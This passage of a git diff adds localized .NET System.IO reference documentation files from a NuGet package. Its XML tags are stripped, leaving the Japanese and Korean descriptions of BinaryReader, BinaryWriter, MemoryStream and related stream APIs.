が閉じています。 + I/O エラーが発生しました。 + 1 + + + 行終端記号をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。文字配列が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/ko/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/ko/System.IO.xml new file mode 100644 index 0000000..7157cae --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/ko/System.IO.xml @@ -0,0 +1,2262 @@ + + + + System.IO + + + + 기본 데이터 형식을 특정 인코딩의 이진 값으로 읽습니다. + 2 + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 가 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 하는 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 입력 스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 또는 가 null인 경우 + + + + 의 내부 스트림에 대한 액세스를 노출합니다. + BinaryReader와 관련된 내부 스트림입니다. + 2 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 스트림에서 읽은 지정된 바이트 수로 내부 버퍼를 채웁니다. + 읽을 바이트 수입니다. + + 를 읽기 전에 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 요청된 가 내부 버퍼 크기보다 큰 경우 + + + 사용할 수 있는 다음 문자를 반환하고 바이트 또는 문자 위치를 앞으로 이동하지 않습니다. + 사용할 수 있는 다음 문자를 반환하고 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 현재 문자는 스트림에 선택한 을 사용하여 내부 문자 버퍼링으로 디코딩할 수 없습니다. + 2 + + + 내부 스트림에서 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 입력 스트림의 다음 문자를 반환하고 현재 사용할 수 있는 문자가 없을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 바이트 배열의 지정된 지점부터 스트림에서 지정된 바이트 수만큼 읽습니다. + + 로 읽어 온 바이트 수입니다.이 바이트 수는 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 문자 배열의 지정된 지점부터 스트림에서 지정된 문자 수만큼 읽습니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 문자가 현재 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 압축 형식의 32비트 정수를 읽습니다. + 압축 형식의 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 스트림이 손상되었습니다. + + + 현재 스트림에서 Boolean 값을 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 바이트가 0이 아니면 true이고 0이면 false입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 다음 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 다음 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 지정된 바이트 수만큼 바이트 배열로 읽어 오고 현재 위치를 해당 바이트 수만큼 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 바이트 배열입니다.이 바이트 배열은 스트림의 끝에 도달할 경우 요청된 바이트 수보다 작을 수 있습니다. + 읽을 바이트 수입니다.이 값은 0 또는 음수가 아닌 숫자여야 합니다. 그렇지 않으면 예외가 발생합니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 음수인 경우 + 2 + + + 현재 스트림에서 다음 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 현재 스트림에서 읽은 문자입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 서로게이트 문자를 읽은 경우 + 2 + + + 현재 스트림에서 지정된 문자 수만큼 읽어 문자 배열로 데이터를 반환하고, 사용된 Encoding과 스트림에서 읽어 오는 특정 문자의 길이만큼 현재 위치를 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 문자 배열입니다.이 문자 배열은 스트림의 끝에 도달할 경우 요청된 문자 수보다 작을 수 있습니다. + 읽을 문자 수입니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + + 가 음수인 경우 + 2 + + + 현재 스트림에서 10진 값을 읽고 스트림의 현재 위치를 16바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 10진 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 8바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 8바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 2바이트 정수를 읽고 스트림의 현재 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 4바이트 정수를 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 8바이트 정수를 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 4바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 4바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 문자열을 읽습니다.한 번에 7비트 정수로 인코드된 길이는 해당 문자열의 접두사로 붙습니다. + 읽어 오는 문자열입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + little-endian 인코딩을 사용하여 현재 스트림에서 부호 없는 2바이트 정수를 읽고 스트림의 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 4바이트 정수를 읽고 스트림의 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 8바이트 정수를 읽고 스트림의 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 기본 이진 형식을 스트림에 쓰고 특정 인코딩으로 된 문자열 쓰기를 지원합니다. + 2 + + + 스트림에 쓰는 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 가 null입니다. + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + + 의 내부 스트림을 가져옵니다. + BinaryWriter와 관련된 내부 스트림입니다. + 1 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 1 + + + 백업 저장소가 없는 를 지정합니다. + 1 + + + 내부 스트림을 보유합니다. + + + 현재 스트림 내에서 위치를 설정합니다. + 현재 스트림에서의 위치입니다. + + 에 상대적인 바이트 오프셋입니다. + 새 위치를 가져올 참조 위치를 나타내는 의 필드입니다. + 파일 포인터가 잘못된 위치로 이동한 경우 + + 값이 잘못된 경우 + 1 + + + false를 나타내는 0과 true를 나타내는 1을 사용하여 1바이트 Boolean 값을 현재 스트림에 씁니다. + 쓸 Boolean 값(0 또는 1)입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 없는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 없는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 내부 스트림에 바이트 배열을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 null입니다. + 1 + + + 현재 스트림에 바이트 배열 영역을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 유니코드 문자를 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓰려고 하는 서로게이트가 아닌 유니코드 문자입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 단일 서로게이트 문자인 경우 + 1 + + + 문자 배열을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + + 가 null입니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열 섹션을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 10진 값을 현재 스트림에 쓰고 스트림 위치를 16바이트씩 앞으로 이동합니다. + 출력할 10진수 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 있는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 있는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + + 의 현재 인코딩으로 된 이 스트림에 문자열의 길이가 맨 앞에 나오는 문자열을 쓴 다음 사용된 인코딩과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 값입니다. + I/O 오류가 발생하는 경우 + + 가 null입니다. + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 압축 형식의 32비트 정수를 씁니다. + 쓸 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + 스트림이 닫혀 있는 경우 + + + 읽을 때 throw되는 예외가 스트림의 끝을 지나 시도됩니다. + 2 + + + 시스템에서 제공되는 메시지로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + + 로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + + + 지정된 오류 메시지와 해당 예외의 근본 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 데이터 스트림의 형식이 잘못된 경우 throw되는 예외입니다. + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 오류 메시지를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + + + 이 예외의 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 백업 저장소가 메모리인 스트림을 만듭니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + 0으로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 현재 스트림을 만들 부호 없는 바이트의 배열입니다. + + 가 null인 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + + 바이트 배열의 지정된 영역(인덱스)을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + + 가 null인 경우 + + 또는 가 0보다 작은 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성과 지정된 대로 설정된 호출 기능을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + 스트림을 만든 부호 없는 바이트 배열을 반환하는 를 사용하도록 설정하려면 true이고, 설정하지 않으려면 false입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 내부 배열의 초기 크기(바이트)입니다. + + 가 음수인 경우 + + + 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 2 + + + 이 스트림에 할당된 바이트 수를 가져오거나 설정합니다. + 버퍼에서 스트림에 대해 사용할 수 있는 부분의 길이입니다. + 음수 또는 스트림의 현재 길이보다 작은 용량이 설정되어 있는 경우 + 현재 스트림이 닫혀 있는 경우 + 용량을 수정할 수 없는 스트림에 set이 호출되는 경우 + 2 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다. + 취소 요청을 모니터링할 토큰입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + + 메서드를 재정의하여 아무런 작업도 수행되지 않도록 합니다. + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다. + 스트림이 삭제된 경우 + + + 스트림의 길이(바이트)를 가져옵니다. + 스트림의 길이(바이트)입니다. + 스트림이 닫혀 있는 경우 + 2 + + + 스트림 내의 현재 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + 위치가 음수 값이나 보다 큰 값으로 설정된 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트 블록을 읽어서 버퍼에 씁니다. + 버퍼로 쓴 총 바이트 수입니다.해당 바이트 수를 현재 사용할 수 없는 경우 이 수는 요청된 바이트 수보다 작을 수 있으며 바이트를 읽기 전에 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 스트림으로부터 읽은 문자로 교체된 상태로 반환됩니다. + 현재 스트림에서 데이터를 저장하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트를 읽습니다. + + 로 캐스팅된 바이트이거나 스트림의 끝에 도달한 경우 -1입니다. + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림 내의 위치를 지정된 값으로 설정합니다. + 초기 참조 지점과 오프셋을 조합해서 계산한, 스트림 내의 새 위치입니다. + 스트림 내의 새 위치입니다.이 위치는 매개 변수와 관련되며 양수와 음수 모두 가능합니다. + 검색 참조 지점 역할을 하는 형식의 값입니다. + 스트림의 시작 전에 검색하려고 한 경우 + + 가 보다 큰 경우 + 잘못된 이 있는 경우 또는이 산술 연산 오버플로를 발생시킨 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림의 길이를 지정된 값으로 설정합니다. + 길이를 설정할 값입니다. + 현재 스트림의 크기를 조정할 수 없으며 가 현재 용량보다 큰 경우또는 현재 스트림이 쓰기를 지원하지 않는 경우 + + 가 음수이거나 의 최대 길이보다 큰 경우. 여기서 최대 길이는 - origin입니다. origin은 스트림이 시작되는 내부 버퍼의 인덱스입니다. + 2 + + + + 속성에 관계없이 바이트 배열에 스트림 내용을 씁니다. + 새 바이트 배열입니다. + 2 + + + 이 스트림을 만드는 데 사용된 부호 없는 바이트의 배열을 반환합니다.반환 값은 변환의 성공 여부를 나타냅니다. + 성공적으로 변환되면 true이고, 그렇지 않으면 false입니다. + 이 스트림을 만든 바이트 배열 세그먼트입니다. + + + 버퍼에서 읽은 데이터를 사용하여 현재 스트림에 바이트 블록을 씁니다. + 데이터를 쓸 버퍼입니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에서 바이트보다 가까우며 용량을 수정할 수 없는 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 위치에서 현재 스트림에 바이트를 씁니다. + 쓸 바이트입니다. + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에 있으며 용량을 수정할 수 없는 경우 + 현재 스트림이 닫혀 있는 경우 + 2 + + + 다른 스트림에 이 메모리 스트림의 전체 내용을 씁니다. + 이 메모리 스트림을 쓸 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 닫혀 있는 경우 + 2 + + + 탐색에 사용할 스트림 내 위치를 지정합니다. + 2 + + + 스트림의 맨 앞을 지정합니다. + + + 스트림 내의 현재 위치를 지정합니다. + + + 스트림의 맨 끝을 지정합니다. + + + 